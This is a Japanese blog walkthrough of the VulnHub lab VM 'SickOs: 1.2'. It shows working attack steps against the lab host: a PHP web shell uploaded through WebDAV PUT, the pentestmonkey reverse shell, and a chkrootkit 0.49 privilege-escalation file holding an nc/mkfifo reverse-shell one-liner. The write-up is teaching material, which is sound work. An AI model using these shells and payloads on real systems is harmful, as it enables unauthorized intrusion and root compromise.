LoginSignup
2
2

More than 3 years have passed since last update.

【VulnHub】SickOs: 1.2 - Walkthrough -

Last updated at Posted at 2019-08-20

「SickOs: 1.2」は、「D4rk」によって開発され、VulnHubにて公開されているシリーズの一つです。

リリース情報

Walkthrough

列挙

稼働しているIPアドレスの特定

ネットワーク内のIPアドレスを探すために、netdiscoverコマンドを使用します。

 Currently scanning: 172.26.148.0/16   |   Screen View: Unique Hosts             

 6 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 360                 
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 172.16.208.2    00:50:56:f3:32:8a      3     180  VMware, Inc.                  
 172.16.208.1    00:50:56:c0:00:08      1      60  VMware, Inc.                  
 172.16.208.163  00:0c:29:96:1e:c3      1      60  VMware, Inc.                  
 172.16.208.254  00:50:56:e4:f2:98      1      60  VMware, Inc.   

これで、標的のIPアドレスが172.16.208.163であることが特定できました。

実行されているサービスの特定

次にどのサービスが実行されているのか特定を行います。ポートスキャンの実行です。nmap -Pn -sS -sV -p 1-1024 172.16.208.163コマンド構文を使用します。各オプションの狙いは、次の通りです。

-Pn: スキャンの前に行われるpingでの疎通確認をせずにスキャンします
-sS: TCPのSYNパケットを送ってSYN+ACKが返ってくるか調査します
-sV: サービスのバージョンスキャン
-p 1-1024: まずは、ウェルノウンポート(プロトコルが利用するために予約されている番号(1-1024)のみを探索対象とします)

root@kali:~# nmap -Pn -sS -sV -p 1-1024 172.16.208.163
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-17 23:33 JST
Nmap scan report for 172.16.208.163
Host is up (0.0016s latency).
Not shown: 1022 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    lighttpd 1.4.28
MAC Address: 00:0C:29:96:1E:C3 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.75 seconds
root@kali:~# 

これで、標的にて22/tcp open ssh80/tcp open httpのサービスが稼働していることが判明しました。

HTTPサービスのスキャン

ここで、HTTPサービスに注目してみました。実際に、Firefoxブラウザを使ってアクセスしてみます。WHAT IF COMPUTER VIRUSES - ARE REALLY MADE BY THE ANTI-VIRUS SOFTWARE COMPANIES TO MAKE MONEY?って主張していますね。
web.png

ページソースをみてもblow.jpgが設置されているだけです。末尾には、こんな記載が見られます。

<!-- NOTHING IN HERE ///\\\ -->>>>

明らかに、ここにはヒントがないことを示しています。ちなみに、写真は若かりしキアヌ・リーブスのようです。

ウェブサイトの診断

ウェブサイトの脆弱性を診断するために、niktoを使用してみます。特にヒントになりそうな情報は得られませんでした。

root@kali:~# nikto -h 172.16.208.163
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          172.16.208.163
+ Target Hostname:    172.16.208.163
+ Target Port:        80
+ Start Time:         2019-08-17 23:37:26 (GMT9)
---------------------------------------------------------------------------
+ Server: lighttpd/1.4.28
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21
+ 26188 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2019-08-17 23:38:08 (GMT9) (42 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~# 

さらに、攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。dirbコマンドを使用します。

root@kali:~# dirb http://172.16.208.163/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Aug 17 23:36:14 2019
URL_BASE: http://172.16.208.163/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://172.16.208.163/ ----
+ http://172.16.208.163/index.php (CODE:200|SIZE:163)                            
==> DIRECTORY: http://172.16.208.163/test/                                       

---- Entering directory: http://172.16.208.163/test/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Sat Aug 17 23:36:17 2019
DOWNLOADED: 4612 - FOUND: 1
root@kali:~# 

/test/ディレクトリが得られた唯一のヒントです。Firefoxブラウザを使ってアクセスしてみましょう。なにやら、ディレクトリ構造がみえます。これは怪しいです。
test.png

さて、どうしましょうか。ちょっと詰んでます。
ヒントを求めて、書籍『The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws (English Edition)』を読んでみましょう。そのヒントは、「Chapter 21 - A Web Application Hacker’s Methodology」にこんな風に記載されています。

2.2 Identify Data Entry Points
2.2.1
Identify all the different entry points that exist for introducing user input into the application’s processing, including URLs, query string parameters, POST data, cookies, and other HTTP headers processed by the application.

なるほど。それでは、HTTPヘッダ情報を探ってみましょう。
curlコマンドを使って、/test/ディレクトリが許可しているOPTIONSメソッドを表示させてみました。

root@kali:~# curl --head -X OPTIONS http://172.16.208.163/test/
HTTP/1.1 200 OK
DAV: 1,2
MS-Author-Via: DAV
Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
Allow: OPTIONS, GET, HEAD, POST
Content-Length: 0
Date: Sat, 17 Aug 2019 15:48:06 GMT
Server: lighttpd/1.4.28

root@kali:~#

なお、nmapコマンドのNmap Scripting Engine(NSE)スクリプトの一つ、「http-methods NSE Script」でも同様の探索が可能です。

root@kali:~# nmap --script http-methods --script-args http-methods.url-path="/test/" 172.16.208.163
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-18 09:53 JST
Nmap scan report for 172.16.208.163
Host is up (0.00094s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
| http-methods: 
|   Supported Methods: PROPFIND DELETE MKCOL PUT MOVE COPY PROPPATCH LOCK UNLOCK OPTIONS GET HEAD POST
|   Potentially risky methods: PROPFIND DELETE MKCOL PUT MOVE COPY PROPPATCH LOCK UNLOCK
|_  Path tested: /test/
MAC Address: 00:0C:29:96:1E:C3 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 5.12 seconds
root@kali:~# 

curlnmapコマンドの結果から、/test/ディレクトリはWebDAV(Web-based Distributed Authoring and Versioning), RFC 2518 に関するメソッドの利用が許可されていることが判明しました。
これは、大きな一歩です。WebDAVの探索を進めてみましょう。

WebDAV探索

WebDAVでは、HTTPを読むだけのプロトコルから書くこともできるプロトコルへと拡張しています。許可されているメソッドの機能を確認すると、ファイル操作が許可されていることが分かります。

メソッド 機能
PROPFIND プロパティの取得
DELETE コレクションおよびそのコレクションに含まれるリソースの削除
MKCOL コレクションの作成
PUT リソースの作成
MOVE コレクションを含むリソースの移動
COPY コレクションを含むリソースおよびプロパティの複製
PROPPATCH プロパティの変更
LOCK コレクションを含むリソースのロック
UNLOCK コレクションを含むリソースのロック解除

ここで、PUTメソッドを使ってPHPスクリプトをアップロードしてみましょう。OSコマンドが実行できるシェルとして機能するPHPスクリプトshell.phpを用意します。
system($_GET['cmd'])にて、GETメソッドにて受け取ったコマンドを実行し、表示させることができます。URLにパラメータを付加し、コマンドを送ります。

<?php system($_GET['cmd']);?>

用意したPHPスクリプトshell.phpcurlコマンドを使ってアップロードします。

root@kali:~# curl -v -X PUT -d '<?php system($_GET["cmd"]);?>' http://172.16.208.163/test/shell.php
*   Trying 172.16.208.163...
* TCP_NODELAY set
* Connected to 172.16.208.163 (172.16.208.163) port 80 (#0)
> PUT /test/shell.php HTTP/1.1
> Host: 172.16.208.163
> User-Agent: curl/7.60.0
> Accept: */*
> Content-Length: 29
> Content-Type: application/x-www-form-urlencoded
> 
* upload completely sent off: 29 out of 29 bytes
< HTTP/1.1 201 Created
< Content-Length: 0
< Date: Sat, 17 Aug 2019 18:04:20 GMT
< Server: lighttpd/1.4.28
< 
* Connection #0 to host 172.16.208.163 left intact
root@kali:~# 

それではFirefoxにて、/shell.php/?cmd=から任意のコマンドを実行してみましょう。whoamiiduname -a、ほとんどのコマンドを機能させることができます。これは、今後の侵入に向けて大きなヒントになるはずです。
shell_php.png

shell.phpは以降では使用しません。練習もかねて、curlコマンドを使って削除しておきましょう。

root@kali:~# curl --url http://172.16.208.163/test/shell.php -X DELETE

アクセスの取得

ペイロードの作成

WebDAV探索の結果、HTTP PUTメソッドの使用が可能なことが判明しています。そこで、ペイロード(悪意のある動作を実現するコード)を作成し、標的へ送り込んでみましょう。
まず、標的に侵入することができるよう、ペイロードを作成します。今回は、pentestmonkey のリバースシェル php-reverse-shell を仕掛けてみましょう。
Kali Linux には usr/share/webshells/php/php-reverse-shell.php に収録されています。

root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php exploit.php
root@kali:~# nano exploit.php

作成したペイロードを、nmapコマンドの「http-put NSE Script」を使って、標的にアップロードします。

root@kali:~# nmap -p 80 172.16.208.163 --script http-put --script-args http-put.url='/test/exploit.php',http-put.file='exploit.php'
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-18 21:45 JST
Nmap scan report for 172.16.208.163
Host is up (0.00055s latency).

PORT   STATE SERVICE
80/tcp open  http
|_http-put: /test/exploit.php was successfully created
MAC Address: 00:0C:29:96:1E:C3 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
root@kali:~# 

攻撃端末側でncコマンド構文を使用し、リバースシェルからの接続を待ち受けます。

root@kali:~# nc -lvp 8080 
listening on [any] 8080 ...

攻撃端末側のncがアクティブな状態で、exploit.phpに接続します。

root@kali:~# curl http://172.16.208.163/test/exploit.php

URLが実行されると、セッションが開始されます。システム情報(uname -a)について確認しましょう。

root@kali:~# nc -lvp 8080 
listening on [any] 8080 ...
172.16.208.163: inverse host lookup failed: Unknown host
connect to [172.16.208.169] from (UNKNOWN) [172.16.208.163] 33821
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
 13:27:59 up  6:17,  0 users,  load average: 0.07, 0.09, 0.06
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

システム探索

/etc/cron.dailyディレクトリを探索してみましょう。

$ cd /etc/cron.daily
$ ls -al
total 72
drwxr-xr-x  2 root root  4096 Apr 12  2016 .
drwxr-xr-x 84 root root  4096 Aug 17 16:10 ..
-rw-r--r--  1 root root   102 Jun 19  2012 .placeholder
-rwxr-xr-x  1 root root 15399 Nov 15  2013 apt
-rwxr-xr-x  1 root root   314 Apr 18  2013 aptitude
-rwxr-xr-x  1 root root   502 Mar 31  2012 bsdmainutils
-rwxr-xr-x  1 root root  2032 Jun  4  2014 chkrootkit
-rwxr-xr-x  1 root root   256 Oct 14  2013 dpkg
-rwxr-xr-x  1 root root   338 Dec 20  2011 lighttpd
-rwxr-xr-x  1 root root   372 Oct  4  2011 logrotate
-rwxr-xr-x  1 root root  1365 Dec 28  2012 man-db
-rwxr-xr-x  1 root root   606 Aug 17  2011 mlocate
-rwxr-xr-x  1 root root   249 Sep 12  2012 passwd
-rwxr-xr-x  1 root root  2417 Jul  1  2011 popularity-contest
-rwxr-xr-x  1 root root  2947 Jun 19  2012 standard
$ 

定期的に実行されているchkrootkitに注目しました。バージョン情報を確認します。

$ chkrootkit -V
chkrootkit version 0.49
$ dpkg -l | grep chkrootkit
rc  chkrootkit                      0.49-4ubuntu1.1                   rootkit detector
$ head /usr/sbin/chkrootkit
#! /bin/sh
# -*- Shell-script -*-

# $Id: chkrootkit, v 0.49 2009/07/30
CHKROOTKIT_VERSION='0.49'

# Authors: Nelson Murilo <nelson@pangeia.com.br> (main author) and
#          Klaus Steding-Jessen <jessen@cert.br>
#
# (c)1997-2009 Nelson Murilo, Pangeia Informatica, AMS Foundation and others.
$ 

特権の引き上げ

searchsploitコマンドを使って、Exploit-DBに掲載されているexploitコードを検索してみましょう。

root@kali:~# searchsploit chkrootkit
--------------------------------------- ----------------------------------------
 Exploit Title                         |  Path
                                       | (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
Chkrootkit - Local Privilege Escalatio | exploits/linux/local/38775.rb
Chkrootkit 0.49 - Local Privilege Esca | exploits/linux/local/33899.txt
--------------------------------------- ----------------------------------------
Shellcodes: No Result
root@kali:~# 

33899.txt(EDB-ID: 33899)がPrivilege Escalation(特権昇格)のコードとして使えそうです。
33899.txtに記載の手順について確認します。

Steps to reproduce:

- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.

さっそく、実践してみましょう。今度は、ポート443でアクティブになるよう、設定しました。

$ cd /tmp             
$ echo '#!/bin/bash' > update
$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.208.178 443 >/tmp/f' >> update
$ chmod 777 update
$ 

nc -lvp 443コマンド構文にて、接続を待ち受けます。数分すると、シェルが取得できるはずです。
root.png

フラグの取得に成功しました。

# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.

Thanks for giving this try.

@vulnhub: Thanks for hosting this UP!.

ボーナストラック

ガチガチに守られている様子は、iptablesのルールである/root/newRuleファイルを確認することで明らかになります。

# cat newRule   
# Generated by iptables-save v1.4.12 on Mon Apr 25 22:48:24 2016
*filter
:INPUT DROP [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT DROP [0:0]
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
COMMIT
# Completed on Mon Apr 25 22:48:24 2016
# 

すなわち、ポート22、80、またはポート8080、443のトラフィックを除く、すべてのTCPトラフィックはドロップする設定が行われていました。

もう一つの謎があります。/etc/cron.dailyはなぜ、数分後に反映されたのでしょうか。その秘密は、/etc/cron.d/chkrootkitを確認すると答えがあります。

# cat /etc/cron.d/chkrootkit
* * * * * root /usr/sbin/chkrootkit

このように、実際には毎分の間隔でchkrootkitコマンドは実行されていました。

まとめ

  1. nmapコマンドを使って、80番ポートがオープン状態であることを確認しました。
  2. curlコマンドを使って、HTTPヘッダ情報を探りOPTIONSメソッドを表示させてみました。
  3. pentestmonkey のリバースシェル php-reverse-shell を使いました。
  4. nmapコマンドのNmap Scripting Engine(NSE)スクリプトの一つ「http-put NSE Script」を使って、標的にペイロードをアップロードしました。
  5. システム探索にて、/etc/cron.dailyディレクトリに注目しました。
  6. searchsploitコマンドを使ってchkrootkitslapper()関数の実装に起因する脆弱性(EDB-ID: 33899, CVE-2014-0476)を特定し、特権昇格を行いました。
2
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
2